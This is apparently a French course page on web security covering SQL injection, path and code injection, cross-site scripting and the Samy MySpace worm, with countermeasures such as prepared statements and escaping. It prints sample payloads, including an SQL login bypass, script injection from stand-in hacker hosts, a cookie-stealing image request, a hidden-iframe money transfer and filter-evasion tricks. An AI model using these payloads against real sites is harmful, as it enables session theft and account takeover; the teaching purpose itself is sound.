Fork me on GitHub

Injections de code Injections SQL, Cross Site Scripting

Ne jamais se fier au client

Toutes les données en provenance du client :

  • Entêtes HTTP,
  • Paramètres de l’URL, query string
  • Corps de la requête, données des formulaires,
  • Cookies, Storage API,

peuvent contenir des valeurs non valides, pour plusieurs raisons :

  • L’utilisateur a fait une erreur de saisie ;
  • Le client n’utilise pas JavaScript ;
  • Le client est un robot ;
  • L’utilisateur est un hacker qui cible votre site.

Pour toutes ces raisons, le code du server doit toujours vérifier les données envoyées par le client.

J’insiste !

Vérifiez les données, même si…

  • …vous utilisez des formulaires HTML5 ;
  • …vos champs/données sont cachés ;
  • …vous validez vos formulaire avec JavaScript ;
  • …les données sont générées de façon programmatique (pas saisies par l’utilisateur) par le code client.

Faciles à contourner en lisant/éditant le source. Exemple:

Saisissez un nombre :

Seules les données gérées entièrement par le server sont fiables :

  • Variables locales, sessions, caches, fichiers, bases de données…

Ce que vous voyez, n’est pas ce que le hacker voit !

Notre modèle de sécurité

Nous allons supposer qu’un utilisateur malveillant veut s’attaquer à notre site. Nous allons faire des hypothèses sur ses moyens :

  • Il peut faire uniquement des requêtes HTTP(S) au server, à travers un browser ou par d’autres moyens, et lire les réponses ;
  • Il connaît le code source de l’application web (crédible pour une application open source) ;
  • Il ne peut pas intercepter ou modifier une connexion entre un autre client et le server ;

Les buts du hacker peuvent être multiples : compromettre le server, voler des données, …

Injections SQL

Un premier exemple

Considérez le code suivant, qui vérifie la connexion d’un utilisateur.

$user = $req->request->get('user');
$pass = $req->request->get('pass');
$sql = "SELECT * FROM users
        WHERE login='$user' AND password='$pass'";
if ($app['db']->fetchAssoc($sql)) {
  // utilisateur connecté
}

L’utilisateur envoie les paramètres suivants dans le corps de la requête :

user=root
pass=' OR '1'='1

La chaîne $sql vaudra alors

SELECT * FROM users
WHERE login='root' AND password='' OR '1'='1'

La condition est toujours vérifiée : le hacker est connecté en tant que root!

Que peut-on faire avec les injections SQL ?

  • Escalade de droits (se faire passer pour root),
  • Vol de données (lire la base),
  • Compromission de la base de données (effacer/modifier les données).

Et voici une liste de attaques par injection SQL documentées.

Contrer les injections SQL

On connaît la solution : échapper les caractères spéciaux', ", ;

  • PHP : mysqli::real_escape_string,
  • PDO/Doctrine : PDO::quote, Doctrine::quote,
  • Échappement automatique : requêtes préparées.

Exemple

$app['db']->fetchAssoc("SELECT * FROM users
  WHERE login=? AND password=?",
  array($user, $pass)
);

Résultat

SELECT * FROM users
WHERE login='root' AND password=''' OR ''1''=''1'

Autres types d’injection

Injection de chemin

N’écrivez jamais ce code :

$page = $req->query->get('page');
return $app['twig']->render($page);

Le hacker pourrait passer un chemin non prévu :

?page=../../config.php

et éventuellement lire les données privées du site. Encore pire :

$page = $req->query->get('page');
include($page);

Pourrait exécuter du code non sollicité.

Comment se protéger ?

Avoir une liste des chemins autorisés :

$pages = array(
	'un_template.html',
	'autre_template.html',
	...);
	
if ($page in $pages) {
  return $app['twig']->render($page);
} else {
  return new Response(404);
}

Injection dynamique de code

Techniques permettant d’exécuter du code arbitraire sur le server.

  • La fonction eval exécute du code PHP contenu dans une chaîne

    eval($req->query->get('toto'));
    
  • La fonction exec exécute des programmes externes

    exec('ls -l ' . $req->query->get('dir'));
    

Contre-mesure : simplement à éviter !

Injections de HTML

Les injections dans la sortie HTML générée sont aussi appelées Cross-Site Scripting (XSS).

$user = $req->cookies->get('user');
return "
<body>
  <h1>Bonjour, $user !</h1>
</body>";

Le hacker pourrait envoyer le cookie

user=<script src="http://hacker.org/attack.js"></script>

Ce qui générerait le code HTML suivant

<body>
<h1>Bonjour,
<script src="http://hacker.org/attack.js"></script> !</h1>
</body>

En général, ceci ne constitue pas une menace pour le server, mais pour l’utilisateur !

Se protéger de XSS

Échapper les caractères spéciaux : <, >, &, ", ', …

  • Avec la fonction htmlspecialchars() de PHP,
  • Avec la fonction $app->escape() de Silex,
  • Par l’échappement automatique de Twig, ou d’un autre moteur de templates (voir aussi Cours 4).

Résultat

<body>
<h1>Bonjour,
&lt;script src=&quot;http://hacker.org/attack.js&quot;?gt;&lt;/script&gt; !</h1>
</body>

Attaques par XSS

Cross site scripting

On estime que 80% des failles de sécurité des application web sont des failles XSS.

Que peut-on faire avec XSS ?

  • Changer l’apparence d’une page, la défigurer (recerchez Stallowned).
  • Rédiriger et phisher.
  • Vols des cookies et des données privées !
  • Propager l’exploit XSS comme un ver.
  • Controler le browser de la victime !!!

Les attaques XSS comportent trois acteurs : le client (la victime), le hacker et le server.

Elles nécessitent d’une part de social engineering.

Injections de code

Server Client Attaquant GET /app?userval=code POST /app....userval=code GET /app...Cookie: userval=code $ system_ $local $req->query $req->cookies $req->request Gestionnaires de requête Database

Cross Site Scripting

Le Cross Site Scripting (XSS) est l’injection de code HTML/JavaScript dans la réponse envoyée au client.

Schema de base : Le server reflète les données du client sans filtrer

$search = $req->query->get('search');
return "<input type='text' name='search' value='$search' />";

Le hacker injecte le code dans la page web

http://www.example.com/?
 search='><script src='http://hackers.com/evil.js'></script>
 <br class='

Résultat

<input type='text' name='search' value=''>
<script src='http://hackers.com/evil.js'></script>
<br class='' />

La victime visite www.example.com, mais le code JavaScript étranger evil.js s’exécute.

XSS permanent et reflété

XSS reflété : Le code est injecté quand le client visitele lien

  • Query string
  • Formulaires
  • Résultats de recherche
From: "order-update@amazon.com" <order-update@amazon.com>
Subject: Amazon.com - Your Cancellation (175-2364376-728612)

<html><body>
Your order has been successfully canceled. For your reference,
here's a summary of your order:<br />

You just canceled order <a
href="http://www.amazon.com/?var=<script>injection()</script>">#175-2364376-728612</a>
placed on February 16, 2012. ...

XSS permanent : Le code est stocké sur le server (probablement, dans la BD)

  • Billets de blog, forums, …
  • Réseaux sociaux.

Palliatif : Cross-domain policy

À aucun moment un script d’un domaine (par ex. www.hacker.com) doit pouvoir accéder à partir d’un document au contenu d’un domaine diffèrent (par ex. www.example.com).

La cross-domain policy est mise en place pour

  • Cookies ;
  • Requêtes AJAX ;
  • Contenu de frames et iframes.

Exceptions (nécessaires)

  • Images, audio, vidéos ;
  • Scripts ;
  • URL des frames et iframes.

Exemple : vol de cookies

Seul le domaine propriétaire devrait pouvoir lire ses propres cookies.

HTTP/1.1 200 OK
Set-Cookie: sessid=a10340f0e; Domain=www.mybank.com; Path=/; Secure;

Si le hacker peut injecter le code suivant

document.write("<img src='https://hacker.com/ck.php?"
               + document.cookie + "' />");

lorsque la victime visite la page ciblée, le hacker reçoit une requête pour

https://hacker.com/ck.php?sessid=a10340f0e

Ce qui lui révèle l’identifiant de session de la victime.

Pourquoi <img> ?

La balise <img> est utilisé souvent pour envoyer des données de la victime à l’attaquant :

<img src='https://hacker.com/ck.php?sessid=a10340f0e' />
  • Presque tous les browsers savent la gérer,
  • Connexion silencieuse (pas d’interaction utilisateur, pas de confirmation),
  • Rarement filtrée.

Autre possibilité : <iframe>

<iframe> permet d’inclure une page dans une autre

<iframe src="http://en.wikipedia.org/wiki/Framing_(World_Wide_Web)"></iframe>

JavaScript peut contrôler le comportement de l’iframe :

window.frames.hf.location.href =
  'http://www.w3schools.com/tags/tag_iframe.asp';

Les <iframes> invisibles peuvent être utilisés pour :

  • Faire des requêtes HTTP sans que l’utilisateur s’en aperçoive ;
  • Étendre une faille XSS dans une page au site tout entier ;
  • Traverser des frontières de domaine.

Un exemple avec <iframe>

  • Le hacker injecte le script dans une page vulnérable
http://www.example.com/vulnerable?
  lang=en"></script src="http://hacker.com/evil.js"></script>
  • Le script ajoute un <iframe> caché au document
document.write(
  '<iframe name="hf" style="display:none"></iframe>');
  • Après quelques seconde, le script génère une requête à une page sécurisée
function req() {
  window.frames.hf.location.href=
    'http://www.example.com/transfer?to=hacker&amount=10000';
}
setTimeout(req, 5000);
  • La réponse à transfer est envoyée au frame, l’utilisateur ne s’est aperçu de rien.

Comment se protéger

HTML Entities: échapper, échapper, échapper !

<script>alert("XSS");</script>
&lt;script&gt;alert(&quot;XSS&quot;);&lt;/script&gt;

Filtrer (par ex., avec les templates)

<p>Hi, !</p>

Mieux vaut une whitelists qu’une blacklists

Le code JavaScript peut être inséré dans HTML, CSS, SVG, … S’il est nécessaire d’autoriser l’utilisateur à insérer des balises dans le document, permettez seulement

  • Des balises sûres : <img>, <div>, <p>, …
  • Des attributs sûrs : src, href, id, class, …

Utilisez des bibliothèques de sanitization

Contourner les protections

Utiliser des encodages différents

Exemple de URL encoding

// <script>alert("XSS");</script>
%3Cscript%3Ealert%28%22XSS%22%29;%3C%2Fscript%3E

Avec les codes ASCII (par ex., 34 est ")

document.write('href=' + String.fromCharCode(34) +
  'http://hacker.com/' + String.fromCharCode(34));

Casser les mots clefs filtrés

En supposant que onload soit blacklisté :

var stmt = "window.onl" + "ad = myfunc";
eval(stmt);

Exploiter les bugs des browsers (surtout IE)

Étude de cas : le worm Samy

Vers XSS : Samy

  • Le 11 avril 2005 à 1h un ver basé sur une injection XSS commence à se répandre sur MySpace.
  • En moins de 24h, plus d’un million de profiles sont infectés.
  • MySpace est contraint à fermer le site pendant plusieurs heures pour extirper le ver.

Comment marche Samy

  1. MySpace permets une personnalisation limitée de la page de profile. Samy découvre qu’il peut inclure du JavaScript dans cette page.
  2. Un utilisateur visite un profil infecté, le JavaScript malicieux s’exécute dans le browser de l’utilisateur.
  3. Le JavaScript malicieux envoi une demande d’amitié à Samy, puis ajoute Samy aux héros de l’utilisateur.
  4. Enfin, le JavaScript malicieux se copie dans le profil de l’utilisateur. L’infection peut grandir de façon exponentielle !

Lire l’histoire complète à http://fast.info/myspace/.

Comment a-t-il fait ?

Injection des scripts

  • MySpace bloque </script>, onxxx, …
  • Mais certains browsers acceptent du JavaScript dans les attributs CSS.
<div style="background:url('javascript:alert(1)')">

Imbriquer les guillemets quotes (à mon avis, l’astuce la plus jolie)

  • L’astuce précédente a déjà utilisé un guillemet simple ' et un double ".
  • Samy doit encoder des chaînes en JavaScript, mais MySpace filtre \' et \".
  • Par exemple, Samy ne peut pas écrire :
<div style="background:url('javascript:alert("hah!")')">
<div style="background:url('javascript:alert('hah!')')">
<div style="background:url('javascript:alert(\'hah!\')')">
  • Idée : mettre le source JavaScript dans un autre attribut (utilise document.all, spécifique à IE).
<div id="mycode" expr="alert('hah!')" style=
  "background:url('javascript:eval(document.all.mycode.expr)')"> 

Déclarer le code JavaScript

  • MySpace filtre le mot “javascript”.
  • Samy exploite une “feature” de IE.
<div ... style="background:url('java
script:eval(...)')">

Un peu de encodage et de césures par ci et par là

console.log('double quote: ' + String.fromCharCode(34));
eval('document.body.inne' + 'rHTML'); 
eval('xmlhttp.onread' + 'ystatechange = callback'); 

GET and POST

  • Samy doit générer des requêtes (amitié, modification de profil, …)
  • Il aurait probablement pu utiliser les iframes, mais il a trouvé plus simple de générer des requêtes AJAX.

Redirection

  • Maintenant Samy est confronté à un mur cross-domain (entre profile.myspace.com et www.myspace.com).
  • Il rédirige l’utilisateur vers www.myspace.com.
if (location.hostname == 'profile.myspace.com')
  document.location = 'http://www.myspace.com' +
  location.pathname + location.search; 

Jetons cachés

  • MySpace demande une confirmation avant d’ajouter un ami : il utilise un <input> caché avec une valeur aléatoire. (Il s’agit d’une protection CSRF).
  • Avec XSS, il est simple de contourner les protections CSRF : Samy fait quelques requêtes GET et POST en plus pour simuler l’interaction avec l’utilisateur.

LE code: http://fast.info/myspace/

Frameworks d’injection

Contrôler le browser de la victime à distance !

  • Obtenier de l’information sur les victimes ;
  • Accéder au stockage locale ;
  • Déclencher des actions ;
  • Canaliser la navigation HTTP !!!

Combinent les attaques XSS avec les vulnérabilités des browsers (plus efficaces sur les vieux browsers)

Le mot de la fin

Pourquoi XSS existe-t-il ?

  • Une confusion entre données et logique ;
  • Une priorité donnée à la facilité de programmation plutôt qu’à la sécurité par les acteurs majeurs.

XSS ne va pas disparaître bientôt…

Règle 1 : Sanitisez vos données !

Règle 2: Analysez les flux de données, concevez modulairement.

Règle 3: Utilisez des frameworks web.

Règle 3: (Si vous êtes un professionnel) Utilisez des outils de penetration testing.

Lectures